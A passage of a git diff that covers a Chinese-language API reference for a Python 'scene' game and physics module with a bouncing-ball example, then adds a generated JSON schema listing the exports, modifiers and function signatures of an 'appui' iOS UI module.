纹理尺寸 | -| `filtering_mode` | `int` | `FILTERING_LINEAR`(0,默认平滑)或 `FILTERING_NEAREST`(1,像素风格) | - ---- - -## `Shader` 类 - -```python -Shader(source) # GLSL 片段着色器源码字符串 -``` - -### 方法 - -| 方法 | 说明 | -|------|------| -| `set_uniform(name, value)` | 设置 uniform 值。`value` 支持:`float`、`(x,y)` vec2、`(x,y,z)` vec3、`(r,g,b,a)` vec4、`Texture` 对象 | -| `get_uniform(name)` | 获取 uniform 当前值(返回 `float`) | - -**注意**:仅在已赋值给某 `Node.shader` 后,`set_uniform` 才会向原生层发送。 - ---- - -## `Action` 类 - -均为**静态工厂方法**,返回 `Action` 实例。每个实例包含 `duration` 和 `timing_mode` 属性。 - -### 移动 / 旋转 / 缩放 / 透明度 - -| 方法 | 说明 | -|------|------| -| `move_to(x, y, duration=0.5, timing_mode=TIMING_LINEAR)` | 移动到绝对位置 | -| `move_by(dx, dy, duration=0.5, timing_mode=TIMING_LINEAR)` | 相对移动 | -| `rotate_to(angle, duration=0.5, timing_mode=TIMING_LINEAR)` | 旋转到角度(弧度) | -| `rotate_by(angle, duration=0.5, timing_mode=TIMING_LINEAR)` | 相对旋转(弧度) | -| `scale_to(scale, duration=0.5, timing_mode=TIMING_LINEAR)` | 统一缩放 | -| `scale_by(scale, duration=0.5, timing_mode=TIMING_LINEAR)` | 相对缩放 | -| `scale_x_to(x_scale, duration=0.5, timing_mode=TIMING_LINEAR)` | 仅缩放 x 轴 | -| `scale_y_to(y_scale, duration=0.5, timing_mode=TIMING_LINEAR)` | 仅缩放 y 轴 | -| `fade_to(alpha, duration=0.5, timing_mode=TIMING_LINEAR)` | 淡入淡出到目标透明度 | -| `fade_by(alpha, duration=0.5, timing_mode=TIMING_LINEAR)` | 相对透明度变化 | - -### 控制与回调 - -| 方法 | 说明 | -|------|------| -| `wait(duration)` | 等待指定秒数 | -| `remove()` | 从父节点移除 | -| `call(callback)` | 执行无参回调函数 | -| `call(callback, duration=1.0)` | 带进度回调:`callback(node, progress)`,`progress` 从 0.0 到 1.0 | -| `set_uniform(name, value, duration)` | 动画插值 shader uniform 值 | - -### 组合 - -| 方法 | 说明 | -|------|------| -| `sequence(*actions)` | 顺序执行;也可传列表 `sequence([a1, a2])` | -| `group(*actions)` | 并行执行;也可传列表 `group([a1, a2])` | -| `repeat(action, count)` | 重复 `count` 次 | -| `repeat_forever(action)` | 无限重复 | - -**用法**:`node.run_action(Action.sequence(...), key='anim')` - ---- - -## `PhysicsBody` 类 - -### 工厂 - -- `PhysicsBody.rectangle(w, h)` -- `PhysicsBody.circle(r)` - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `dynamic` | `bool` | `True` = 受物理模拟控制 | -| `affected_by_gravity` | `bool` | 是否受重力影响 | -| `allows_rotation` | `bool` | 是否允许旋转 | -| `mass` | `float` | 质量(千克) | -| `density` | `float` | 密度 | -| `restitution` | `float` | 弹性系数(0–1) | -| `friction` | `float` | 摩擦系数(0–1) | -| `linear_damping` | `float` | 线性阻尼 | -| `angular_damping` | `float` | 角阻尼 | -| `velocity` | `Vector2` | 线性速度,可读可写 | -| `angular_velocity` | `float` | 角速度(弧度/秒) | -| `category_bitmask` | `int` | 分类掩码(32 位) | -| `collision_bitmask` | `int` | 碰撞掩码 | -| `contact_test_bitmask` | `int` | 接触检测掩码 | - -### 方法 - -- `apply_impulse(x, y)`:施加冲量 - -将 `node.physics_body = body` 时绑定到节点并同步到 SpriteKit。 - -**碰撞检测设置**: - -```python -body_a.category_bitmask = 0x1 -body_b.category_bitmask = 0x2 -body_a.contact_test_bitmask = 0x2 # A 检测与 category=0x2 的碰撞 -# 在 Scene 中实现 contact_began(contact) 接收回调 -``` - ---- - -## `PhysicsWorld` 类 - -通过 **`scene.physics_world`** 访问。 - -- **`gravity`**:`Vector2` - - 赋值时通过 `scene_set_gravity` 同步到原生 - - 默认 `(0, -9.8)` - ---- - -## `Contact` 类 - -在 `Scene.contact_began(contact)` 中接收。 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `node_a` / `node_b` | `Node` | 碰撞涉及的节点 | -| `body_a` / `body_b` | `Node` | 与 `node_a`/`node_b` 相同引用(兼容用) | -| `contact_point` | `Point` | 接触点 | -| `collision_impulse` | `float` | 冲量标量 | - ---- - -## 关节(Joints) - -| 关节 | 构造 | 说明 | -|------|------|------| -| `PinJoint` | `PinJoint(node_a, node_b, anchor)` | 铰链/销钉,`anchor` 为 `(x, y)` | -| `SpringJoint` | `SpringJoint(node_a, node_b, anchor_a, anchor_b, damping=0.5, frequency=1.0)` | 弹簧 | -| `RopeJoint` | `RopeJoint(node_a, node_b, anchor_a, anchor_b)` | 绳索(限制最大距离) | - -均在构造时调用原生创建关节。 - ---- - -## `SceneView` 类 - -将场景嵌入 `ui` 界面: - -```python -sv = SceneView() -sv.scene = MyScene() -v = sv.view # ui.View,可 add_subview -``` - -| 属性 | 类型 | 说明 | -|------|------|------| -| `paused` | `bool` | 暂停/恢复 | -| `frame_interval` | `int` | 帧间隔,≥1 | -| `anti_alias` | `bool` | 是否开启抗锯齿 | -| `shows_fps` | `bool` | 是否显示帧率 | - ---- - -## Classic 绘图 API(`scene_drawing` / `scene.*`) - -在 **`Scene.draw()`** 中调用。可直接 `import scene` 后使用 `scene.fill`、`scene.rect` 等(模块级延迟加载),或 `import scene_drawing as sd`。 - -| 函数 | 说明 | -|------|------| -| `background(r, g, b)` | 清屏背景色 | -| `fill(r, g, b, a)` / `no_fill()` | 设置/取消填充 | -| `stroke(r, g, b, a)` / `no_stroke()` | 设置/取消描边 | -| `stroke_weight(w)` | 线宽 | -| `tint(r, g, b, a)` / `no_tint()` | 图像与文字着色 | -| `rect(x, y, w, h, corner_radius=0)` | 矩形 | -| `ellipse(x, y, w, h)` | 椭圆(外接矩形) | -| `line(x1, y1, x2, y2)` | 线段 | -| `image(name, x, y, w, h, from_x, from_y, from_w, from_h)` | 绘制图像;后四个为可选子区域 | -| `text(txt, font_name, font_size, x, y, alignment)` | `alignment`:1–9 小键盘布局,**5=居中** | -| `translate(x, y)` / `rotate(deg)` / `scale(x, y)` | 变换;**`rotate` 为度** | -| `push_matrix()` / `pop_matrix()` | 矩阵栈 | -| `load_image_file(path)` | 返回供 `image()` 使用的名称 | -| `render_text(txt, font_name, font_size)` | 返回 `(name, Size)`,文字纹理 | - ---- - -## 模块级函数 - -### `run()` - -```python -run( - scene, - orientation=DEFAULT_ORIENTATION, - frame_interval=1, - anti_alias=False, - show_fps=False, - multi_touch=True, - _mode='auto', # 'main' 为主线程模式 -) -``` - -### 其他函数 - -| 函数 | 返回值 | 说明 | -|------|--------|------| -| `get_screen_size()` | `Size` | 屏幕逻辑尺寸 | -| `get_screen_scale()` | `float` | 像素比例(Retina 2.0 / 3.0) | -| `gravity()` | `Vector3` | 设备重力向量 | -| `get_safe_area_insets()` | `EdgeInsets` | 安全区;API 不可用时返回全 0 | -| `play_effect(name, volume=1.0, pitch=1.0)` | — | 播放音效 | -| `get_image_path(name)` | `str` / `None` | 内置资源路径 | -| `get_controllers()` | `list` | 获取已连接的游戏控制器 | - ---- - -## 颜色系统 - -场景模块中所有颜色参数(`color`、`fill_color`、`stroke_color`、`background_color` 等)在**设置**时支持以下格式: - -| 格式 | 示例 | -|------|------| -| 颜色名字符串 | `'white'`、`'red'`、`'blue'`、`'green'`、`'orange'`、`'yellow'`、`'cyan'`、`'magenta'`、`'clear'` | -| 十六进制字符串 | `'#FF6B6B'`、`'#2c3e50'` | -| RGB/RGBA 元组 | `(0.2, 0.5, 0.8)` 或 `(0.2, 0.5, 0.8, 1.0)` | -| 灰度浮点 | `0.5`(等价于 `(0.5, 0.5, 0.5, 1.0)`) | - -**读取**时,所有颜色属性**始终返回 `(r, g, b, a)` 4-tuple**。 - ---- - -## 常量 - -### 方向 - -| 常量 | 值 | 说明 | -|------|-----|------| -| `DEFAULT_ORIENTATION` | `0` | 自动方向 | -| `PORTRAIT` | `1` | 竖屏 | -| `LANDSCAPE` | `2` | 横屏 | - -### 混合模式 - -| 常量 | 值 | -|------|-----| -| `BLEND_NORMAL` | `0` | -| `BLEND_ADD` | `1` | -| `BLEND_MULTIPLY` | `2` | - -### 纹理过滤 - -| 常量 | 值 | 说明 | -|------|-----|------| -| `FILTERING_LINEAR` | `0` | 平滑过滤(默认) | -| `FILTERING_NEAREST` | `1` | 最近邻(像素风格) | - -### 缓动曲线(共 16 种,作 `timing_mode` 传入 Action) - -| 常量 | 值 | -|------|-----| -| `TIMING_LINEAR` | `0` | -| `TIMING_EASE_IN` / `TIMING_EASE_IN_2` | `1` / `2` | -| `TIMING_EASE_OUT` / `TIMING_EASE_OUT_2` | `3` / `4` | -| `TIMING_EASE_IN_OUT` | `5` | -| `TIMING_SINODIAL` | `6` | -| `TIMING_ELASTIC_IN` / `TIMING_ELASTIC_OUT` / `TIMING_ELASTIC_IN_OUT` | `7` / `8` / `9` | -| `TIMING_BOUNCE_IN` / `TIMING_BOUNCE_OUT` / `TIMING_BOUNCE_IN_OUT` | `10` / `11` / `12` | -| `TIMING_EASE_BACK_IN` / `TIMING_EASE_BACK_OUT` / `TIMING_EASE_BACK_IN_OUT` | `13` / `14` / `15` | - ---- - -## 完整示例:弹跳球(Node + 物理 + 动画) - -```python -from scene import * - - -class BounceScene(Scene): - def setup(self): - w, h = self.size.w, self.size.h - self.background_color = (0.15, 0.18, 0.22, 1.0) - - # 地面(静态矩形) - ground_h = 36 - self.ground = ShapeNode( - path=('rect', 0, 0, w, ground_h), - fill_color='#444', - stroke_color='clear', - position=(0, 0), - ) - self.add_child(self.ground) - gb = PhysicsBody.rectangle(w, ground_h) - gb.dynamic = False - gb.affected_by_gravity = False - self.ground.physics_body = gb - - # 球 - r = 24 - self.ball = ShapeNode( - path=('oval', -r, -r, 2 * r, 2 * r), - fill_color='orange', - stroke_color='white', - position=(w * 0.5, h * 0.55), - ) - self.add_child(self.ball) - bb = PhysicsBody.circle(r) - bb.mass = 1.0 - bb.restitution = 0.85 - bb.friction = 0.4 - self.ball.physics_body = bb - - self.physics_world.gravity = (0, -18) - - def touch_began(self, touch): - if self.ball.physics_body: - self.ball.physics_body.apply_impulse(0, 120) - pulse = Action.sequence( - Action.scale_to(1.15, 0.08, TIMING_EASE_OUT), - Action.scale_to(1.0, 0.12, TIMING_EASE_IN), - ) - self.ball.run_action(pulse, key='pulse') - - def update(self): - pass - - -if __name__ == '__main__': - run(BounceScene(), show_fps=True) -``` - ---- - -## 注意事项 - -1. **坐标系**:左下角为原点、y 向上;与 `ui` 相反,勿混用坐标习惯。 -2. **布局**:全屏或自适应请使用 **`self.size.w` / `self.size.h`**(及 `did_change_size`),勿硬编码像素。 -3. **安全区**:HUD、按钮等建议用 **`safe_area_insets` 或 `get_safe_area_insets()`** 留白。 -4. **导入**:`from scene import *` 与 `__all__` 一致,可一次性导入节点、动作、常量及绘图名。 -5. **Action 缓动**:`timing_mode` 作为各工厂方法**最后一个**参数传入(`wait` 除外)。 -6. **`update()` 签名**:`def update(self)` 和 `def update(self, dt)` 两种均可,推荐用 `self.dt`。 -7. **颜色属性**:设置时支持多种格式,读取时始终返回 `(r,g,b,a)` 4-tuple。 -8. **ShapeNode path**:推荐使用 `ui.Path.rect()` / `ui.Path.oval()` / `ui.Path.rounded_rect()`,也支持元组格式。 -9. **`Action.sequence` / `Action.group`**:可传多个参数或一个列表,`Action.sequence(a1, a2)` 等效于 `Action.sequence([a1, a2])`。 -10. **SpriteNode 无纹理时**必须指定 `size=(w,h)`,否则不可见。 -11. **`run(..., _mode='main')`**:由 IDE 场景运行入口使用,保证回调在主线程执行。 - ---- - -*文档版本对应源码:`pyboot/scene.py`、`pyboot/scene_drawing.py`、`pythonide/SceneBridge.swift`。* diff --git a/docs/schemas/appui_api_schema.json b/docs/schemas/appui_api_schema.json new file mode 100644 index 0000000..2460e71 --- /dev/null +++ b/docs/schemas/appui_api_schema.json @@ -0,0 +1,3020 @@ +{ + "description": "Generated public AppUI API projection from pyboot/appui_schema.py and pyboot/appui.pyi. Do not edit by hand.", + "exports": { + "appui_impl": [ + "View", + "State", + "ReactiveState", + "Prop", + "ObservableList", + "ObservableDict", + "Ref", + "computed", + "effect", + "dynamic", + "run", + "dismiss", + "animate", + "auto_refresh", + "preload", + "bind", + "set_custom_prop", + "call_native", + "Timer", + "NavigationPath", + "DrawingContext", + "Text", + "Label", + "Image", + "AttributedText", + "Button", + "CloseButton", + "TextField", + "SecureField", + "TextEditor", + "TextFieldLink", + "SearchField", + "Toggle", + "Slider", + "Stepper", + "Picker", + "SegmentedControl", + "InlinePickerStyle", + "WheelPicker", + "DatePicker", + "MultiDatePicker", + "ColorPicker", + "Menu", + "PasteButton", + "RenameButton", + "EditButton", + "SignInWithAppleButton", + "PhotoPicker", + "CameraPicker", + "FileImporter", + "VStack", + "HStack", + "ZStack", + "LazyVStack", + "LazyHStack", + "ScrollView", + "ScrollViewReader", + "Spacer", + "Divider", + "LazyVGrid", + "LazyHGrid", + "Grid", + "GridRow", + "GeometryReader", + "ViewThatFits", + "Group", + "Overlay", + "SafeAreaInset", + "NavigationStack", + "NavigationLink", + "NavigationSplitView", + "TabView", + "Tab", + "List", + "ForEach", + "Form", + "Section", + "GroupBox", + "DisclosureGroup", + "LabeledContent", + "Table", + "ControlGroup", + "ContentUnavailableView", + "ProgressView", + "Link", + "AsyncImage", + "Gauge", + "ShareLink", + "Badge", + "TimelineView", + "Alert", + "ConfirmationDialog", + "Popover", + "Refreshable", + "SwipeActions", + "MapView", + "WebView", + "VideoPlayer", + "Chart", + "Canvas", + "Path", + "Rectangle", + "RoundedRectangle", + "Circle", + "Capsule", + "Ellipse", + "Color", + "ToolbarItem", + "ToolbarSpacer", + "grid_item", + "flexible", + "fixed", + "adaptive", + "custom_font", + "NavigationView", + "infinity" + ], + "appui_views": [ + "View", + "DrawingContext", + "Text", + "Label", + "Image", + "AttributedText", + "Button", + "CloseButton", + "TextField", + "SecureField", + "TextEditor", + "TextFieldLink", + "SearchField", + "Toggle", + "Slider", + "Stepper", + "Picker", + "SegmentedControl", + "InlinePickerStyle", + "WheelPicker", + "DatePicker", + "MultiDatePicker", + "ColorPicker", + "Menu", + "PasteButton", + "RenameButton", + "EditButton", + "SignInWithAppleButton", + "PhotoPicker", + "CameraPicker", + "FileImporter", + "VStack", + "HStack", + "ZStack", + "LazyVStack", + "LazyHStack", + "ScrollView", + "ScrollViewReader", + "Spacer", + "Divider", + "LazyVGrid", + "LazyHGrid", + "Grid", + "GridRow", + "GeometryReader", + "ViewThatFits", + "Group", + "Overlay", + "SafeAreaInset", + "NavigationStack", + "NavigationLink", + "NavigationSplitView", + "TabView", + "Tab", + "List", + "ForEach", + "Form", + "Section", + "GroupBox", + "DisclosureGroup", + "LabeledContent", + "Table", + "ControlGroup", + "ContentUnavailableView", + "ProgressView", + "Link", + "AsyncImage", + "Gauge", + "ShareLink", + "Badge", + "TimelineView", + "Alert", + "ConfirmationDialog", + "Popover", + "Refreshable", + "SwipeActions", + "MapView", + "WebView", + "VideoPlayer", + "Chart", + "Canvas", + "Path", + "Rectangle", + "RoundedRectangle", + "Circle", + "Capsule", + "Ellipse", + "Color", + "ToolbarItem", + "ToolbarSpacer", + "grid_item", + "flexible", + "fixed", + "adaptive", + "custom_font" + ] + }, + "fast_path": { + "aurora_bindable_types": [ + "canvas", + "chart", + "color_picker", + "date_picker", + "image", + "inline_picker", + "label", + "map_view", + "path", + "picker", + "progress_view", + "search_field", + "secure_field", + "segmented_control", + "slider", + "stepper", + "text", + "text_editor", + "text_field", + "toggle", + "wheel_picker" + ], + "binding_function": "bind", + "dynamic_slot_function": "dynamic" + }, + "modifier_routes": { + "accessibility_hidden": { + "domain": "environment", + "name": "accessibility_hidden" + }, + "accessibility_label": { + "domain": "environment", + "name": "accessibility_label" + }, + "alert": { + "domain": "presentation", + "name": "alert" + }, + "alignment_guide": { + "domain": "layout", + "name": "alignment_guide" + }, + "animation": { + "domain": "animation", + "name": "animation" + }, + "aspect_ratio": { + "domain": "layout", + "name": "aspect_ratio" + }, + "background": { + "domain": "appearance", + "name": "background" + }, + "background_extension_effect": { + "domain": "appearance", + "name": "background_extension_effect" + }, + "badge": { + "domain": "list_and_scroll", + "name": "badge" + }, + "blur": { + "domain": "appearance", + "name": "blur" + }, + "bold": { + "domain": "text", + "name": "bold" + }, + "border": { + "domain": "appearance", + "name": "border" + }, + "brightness": { + "domain": "appearance", + "name": "brightness" + }, + "button_style": { + "domain": "style", + "name": "button_style" + }, + "clip_shape": { + "domain": "appearance", + "name": "clip_shape" + }, + "clipped": { + "domain": "layout", + "name": "clipped" + }, + "confirmation_dialog": { + "domain": "presentation", + "name": "confirmation_dialog" + }, + "container_relative_frame": { + "domain": "list_and_scroll", + "name": "container_relative_frame" + }, + "content_margins": { + "domain": "list_and_scroll", + "name": "content_margins" + }, + "content_shape": { + "domain": "interaction", + "name": "content_shape" + }, + "content_transition": { + "domain": "animation", + "name": "content_transition" + }, + "context_menu": { + "domain": "presentation", + "name": "context_menu" + }, + "contrast": { + "domain": "appearance", + "name": "contrast" + }, + "corner_radius": { + "domain": "appearance", + "name": "corner_radius" + }, + "date_picker_style": { + "domain": "style", + "name": "date_picker_style" + }, + "default_scroll_anchor": { + "domain": "list_and_scroll", + "name": "default_scroll_anchor" + }, + "disabled": { + "domain": "interaction", + "name": "disabled" + }, + "drawing_group": { + "domain": "layout", + "name": "drawing_group" + }, + "environment": { + "domain": "environment", + "name": "environment" + }, + "fill": { + "domain": "appearance", + "name": "fill" + }, + "fixed_size": { + "domain": "layout", + "name": "fixed_size" + }, + "focused": { + "domain": "interaction", + "name": "focused" + }, + "font": { + "domain": "text", + "name": "font" + }, + "foreground_color": { + "domain": "appearance", + "name": "foreground_color" + }, + "foreground_style": { + "domain": "appearance", + "name": "foreground_style" + }, + "frame": { + "domain": "layout", + "name": "frame" + }, + "full_screen_cover": { + "domain": "presentation", + "name": "full_screen_cover" + }, + "gauge_style": { + "domain": "style", + "name": "gauge_style" + }, + "glass_effect": { + "domain": "appearance", + "name": "glass_effect" + }, + "glass_effect_id": { + "domain": "animation", + "name": "glass_effect_id" + }, + "glass_effect_transition": { + "domain": "animation", + "name": "glass_effect_transition" + }, + "glass_effect_union": { + "domain": "animation", + "name": "glass_effect_union" + }, + "grayscale": { + "domain": "appearance", + "name": "grayscale" + }, + "hidden": { + "domain": "interaction", + "name": "hidden" + }, + "high_priority_gesture": { + "domain": "interaction", + "name": "high_priority_gesture" + }, + "id": { + "domain": "layout", + "name": "id" + }, + "ignores_safe_area": { + "domain": "layout", + "name": "ignores_safe_area" + }, + "image_scale": { + "domain": "style", + "name": "image_scale" + }, + "inspector": { + "domain": "presentation", + "name": "inspector" + }, + "italic": { + "domain": "text", + "name": "italic" + }, + "keyboard_dismiss": { + "domain": "interaction", + "name": "keyboard_dismiss" + }, + "layout_priority": { + "domain": "layout", + "name": "layout_priority" + }, + "line_limit": { + "domain": "text", + "name": "line_limit" + }, + "list_row_background": { + "domain": "list_and_scroll", + "name": "list_row_background" + }, + "list_row_insets": { + "domain": "list_and_scroll", + "name": "list_row_insets" + }, + "list_row_separator": { + "domain": "list_and_scroll", + "name": "list_row_separator" + }, + "list_style": { + "domain": "style", + "name": "list_style" + }, + "mask": { + "domain": "appearance", + "name": "mask" + }, + "matched_geometry_effect": { + "domain": "animation", + "name": "matched_geometry_effect" + }, + "minimum_scale_factor": { + "domain": "text", + "name": "minimum_scale_factor" + }, + "multiline_text_alignment": { + "domain": "text", + "name": "multiline_text_alignment" + }, + "navigation_bar_back_button_hidden": { + "domain": "navigation", + "name": "navigation_bar_back_button_hidden" + }, + "navigation_bar_title_display_mode": { + "domain": "navigation", + "name": "navigation_bar_title_display_mode" + }, + "navigation_destination": { + "domain": "navigation", + "name": "navigation_destination" + }, + "navigation_title": { + "domain": "navigation", + "name": "navigation_title" + }, + "offset": { + "domain": "layout", + "name": "offset" + }, + "on_appear": { + "domain": "interaction", + "name": "on_appear" + }, + "on_disappear": { + "domain": "interaction", + "name": "on_disappear" + }, + "on_drag_gesture": { + "domain": "interaction", + "name": "on_drag_gesture" + }, + "on_drop": { + "domain": "interaction", + "name": "on_drop" + }, + "on_geometry": { + "domain": "interaction", + "name": "on_geometry" + }, + "on_long_press_gesture": { + "domain": "interaction", + "name": "on_long_press_gesture" + }, + "on_magnification_gesture": { + "domain": "interaction", + "name": "on_magnification_gesture" + }, + "on_rotation_gesture": { + "domain": "interaction", + "name": "on_rotation_gesture" + }, + "on_submit": { + "domain": "interaction", + "name": "on_submit" + }, + "on_tap_gesture": { + "domain": "interaction", + "name": "on_tap_gesture" + }, + "opacity": { + "domain": "appearance", + "name": "opacity" + }, + "overlay": { + "domain": "appearance", + "name": "overlay" + }, + "padding": { + "domain": "layout", + "name": "padding" + }, + "phase_animator": { + "domain": "animation", + "name": "phase_animator" + }, + "picker_style": { + "domain": "style", + "name": "picker_style" + }, + "popover": { + "domain": "presentation", + "name": "popover" + }, + "position": { + "domain": "layout", + "name": "position" + }, + "progress_view_style": { + "domain": "style", + "name": "progress_view_style" + }, + "refreshable": { + "domain": "list_and_scroll", + "name": "refreshable" + }, + "resizable": { + "domain": "appearance", + "name": "resizable" + }, + "rotation_3d_effect": { + "domain": "animation", + "name": "rotation_3d_effect" + }, + "rotation_effect": { + "domain": "animation", + "name": "rotation_effect" + }, + "safe_area_bar": { + "domain": "navigation", + "name": "safe_area_bar" + }, + "safe_area_inset": { + "domain": "navigation", + "name": "safe_area_inset" + }, + "saturation": { + "domain": "appearance", + "name": "saturation" + }, + "scale_effect": { + "domain": "animation", + "name": "scale_effect" + }, + "scroll_clip_disabled": { + "domain": "list_and_scroll", + "name": "scroll_clip_disabled" + }, + "scroll_content_background": { + "domain": "list_and_scroll", + "name": "scroll_content_background" + }, + "scroll_edge_effect_hidden": { + "domain": "list_and_scroll", + "name": "scroll_edge_effect_hidden" + }, + "scroll_edge_effect_style": { + "domain": "list_and_scroll", + "name": "scroll_edge_effect_style" + }, + "scroll_position": { + "domain": "list_and_scroll", + "name": "scroll_position" + }, + "scroll_target_behavior": { + "domain": "list_and_scroll", + "name": "scroll_target_behavior" + }, + "scroll_target_layout": { + "domain": "list_and_scroll", + "name": "scroll_target_layout" + }, + "scroll_transition": { + "domain": "list_and_scroll", + "name": "scroll_transition" + }, + "search_toolbar_behavior": { + "domain": "list_and_scroll", + "name": "search_toolbar_behavior" + }, + "searchable": { + "domain": "list_and_scroll", + "name": "searchable" + }, + "sensory_feedback": { + "domain": "animation", + "name": "sensory_feedback" + }, + "shadow": { + "domain": "appearance", + "name": "shadow" + }, + "sheet": { + "domain": "presentation", + "name": "sheet" + }, + "simultaneous_gesture": { + "domain": "interaction", + "name": "simultaneous_gesture" + }, + "strikethrough": { + "domain": "text", + "name": "strikethrough" + }, + "stroke": { + "domain": "appearance", + "name": "stroke" + }, + "submit_label": { + "domain": "interaction", + "name": "submit_label" + }, + "swipe_actions": { + "domain": "list_and_scroll", + "name": "swipe_actions" + }, + "symbol_effect": { + "domain": "animation", + "name": "symbol_effect" + }, + "symbol_rendering_mode": { + "domain": "style", + "name": "symbol_rendering_mode" + }, + "tab_bar_minimize_behavior": { + "domain": "navigation", + "name": "tab_bar_minimize_behavior" + }, + "tab_view_bottom_accessory": { + "domain": "navigation", + "name": "tab_view_bottom_accessory" + }, + "tab_view_search_activation": { + "domain": "navigation", + "name": "tab_view_search_activation" + }, + "tab_view_style": { + "domain": "style", + "name": "tab_view_style" + }, + "task": { + "domain": "interaction", + "name": "task" + }, + "text_field_style": { + "domain": "style", + "name": "text_field_style" + }, + "tint": { + "domain": "appearance", + "name": "tint" + }, + "toggle_style": { + "domain": "style", + "name": "toggle_style" + }, + "toolbar": { + "domain": "navigation", + "name": "toolbar" + }, + "toolbar_background": { + "domain": "navigation", + "name": "toolbar_background" + }, + "toolbar_color_scheme": { + "domain": "navigation", + "name": "toolbar_color_scheme" + }, + "transition": { + "domain": "animation", + "name": "transition" + }, + "truncation_mode": { + "domain": "text", + "name": "truncation_mode" + }, + "underline": { + "domain": "text", + "name": "underline" + }, + "z_index": { + "domain": "layout", + "name": "z_index" + } + }, + "modifiers": { + "offset": { + "affects_layout": true, + "aurora_slots": [ + { + "attr": null, + "name": "x", + "prop_id": 2049, + "python_descriptor": true, + "value_type": "double" + }, + { + "attr": null, + "name": "y", + "prop_id": 2050, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "layout", + "modifier_id": 2049, + "name": "offset" + }, + "opacity": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "value", + "prop_id": 2048, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "appearance", + "modifier_id": 2048, + "name": "opacity" + }, + "rotation_effect": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "angle", + "prop_id": 2052, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "transform", + "modifier_id": 2052, + "name": "rotation_effect" + }, + "scale_effect": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "scale", + "prop_id": 2051, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "transform", + "modifier_id": 2051, + "name": "scale_effect" + } + }, + "module": "appui", + "module_functions": { + "adaptive": { + "line": 2122, + "return_type": "Dict[str, Any]", + "signature": "def adaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]: \"\"\"Adaptive grid column that fits as many items as possible above ``minimum``.\"\"\" ..." + }, + "animate": { + "line": 2055, + "return_type": "None", + "signature": "def animate(action: Callable[[], None], type: str = 'default') -> None: \"\"\"Wrap state changes in an animation. Example:: def show_view(): state.batch_update(show=True) appui.animate(show_view, type=\"spring\") Types: ``'default'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'easeInOut'``, ``'spring'``. \"\"\" ..." + }, + "auto_refresh": { + "line": 2069, + "return_type": "None", + "signature": "def auto_refresh(interval: float = 1.0) -> None: \"\"\"Force periodic UI rebuilds for live-updating content (clocks, dashboards).\"\"\" ..." + }, + "bind": { + "line": 251, + "return_type": "Dict[str, Any]", + "signature": "def bind(state: Union[State, ReactiveState], field_name: str, *, parse: Optional[Callable[[Any], Any]] = None, format: Optional[Callable[[Any], Any]] = None, validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]: \"\"\"Create a two-way binding dict for interactive components. Returns ``{'value': ..., 'on_change': ...}`` suitable for unpacking:: appui.Slider(**appui.bind(state, 'volume')) Optional, backward-compatible hooks: - ``parse``: ``incoming -> stored`` transform before write-back (rejects the write if it raises). - ``format``: ``stored -> display`` transform when reading. - ``validate``: ``incoming -> bool`` guard; falsy rejects the write. \"\"\" ..." + }, + "call_native": { + "line": 2083, + "return_type": "None", + "signature": "def call_native(function_name: str, **kwargs: Any) -> None: \"\"\"Invoke a native iOS function via the Aurora command buffer. Example:: appui.call_native(\"haptic\", style=\"impact\") \"\"\" ..." + }, + "computed": { + "line": 224, + "return_type": "Callable", + "signature": "def computed(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable: \"\"\"Decorator: cached derived value, recomputed only when deps change. Example:: @appui.computed(state, depends_on=['items', 'filter_text']) def filtered(): return [i for i in state.items if state.filter_text in str(i)] # In body(): filtered() -> returns cached list \"\"\" ..." + }, + "custom_font": { + "line": 2126, + "return_type": "str", + "signature": "def custom_font(name: str, size: float = 17) -> str: \"\"\"Reference a custom font by PostScript name. Example:: appui.Text(\"Hello\").font(appui.custom_font(\"Avenir-Heavy\", 24)) \"\"\" ..." + }, + "dismiss": { + "line": 2035, + "return_type": "None", + "signature": "def dismiss() -> None: \"\"\"Dismiss the current appui presentation.\"\"\" ..." + }, + "dismiss_all": { + "line": 2051, + "return_type": "bool", + "signature": "def dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool: \"\"\"Dismiss every currently presented registered slot.\"\"\" ..." + }, + "dynamic": { + "line": 269, + "return_type": "Any", + "signature": "def dynamic(func: Callable[[], Any], value_type: str = 'auto') -> Any: \"\"\"Create a dependency-tracked dynamic AppUI slot value. Use for values that should be eligible for Aurora/C slot updates without rebuilding the full tree, for example ``Text(lambda: state.status)`` or ``.opacity(appui.dynamic(lambda: state.opacity, 'double'))``. \"\"\" ..." + }, + "effect": { + "line": 237, + "return_type": "Callable", + "signature": "def effect(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable: \"\"\"Decorator: run a side-effect when deps change (after each rebuild). The decorated function may return a cleanup callable:: @appui.effect(state, depends_on=['tab']) def on_tab_change(): print(f'Switched to tab {state.tab}') def cleanup(): print('cleanup') return cleanup \"\"\" ..." + }, + "fixed": { + "line": 2118, + "return_type": "Dict[str, Any]", + "signature": "def fixed(size: float) -> Dict[str, Any]: \"\"\"Fixed-width grid column.\"\"\" ..." + }, + "flexible": { + "line": 2109, + "return_type": "Dict[str, Any]", + "signature": "def flexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]: \"\"\"Flexible grid column that grows to fill space. Example:: appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()]) \"\"\" ..." + }, + "get_native_lib": { + "line": 2092, + "return_type": "Optional[ctypes.CDLL]", + "signature": "def get_native_lib() -> Optional[ctypes.CDLL]: \"\"\"Return the ctypes handle to the Aurora native library, or ``None``. Useful for advanced users who need direct access to the C bridge. \"\"\" ..." + }, + "grid_item": { + "line": 2104, + "return_type": "Dict[str, Any]", + "signature": "def grid_item(type: str = 'flexible', minimum: Optional[float] = None, maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]: \"\"\"Create a grid column/row specification.\"\"\" ..." + }, + "preload": { + "line": 2073, + 